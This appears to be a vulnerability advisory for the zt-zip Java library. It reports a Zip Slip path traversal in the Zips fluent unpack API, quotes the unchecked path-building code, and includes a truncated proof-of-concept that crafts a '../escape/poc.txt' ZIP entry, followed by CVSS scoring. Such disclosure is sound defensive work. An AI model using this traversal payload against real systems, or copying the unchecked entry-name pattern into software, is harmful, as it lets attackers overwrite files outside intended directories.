ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain...
1.18.0Exploitability
AV:NAC:LPR:NUI:NScope
S:UImpact
C:NI:HA:L8.2/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:LInput Validation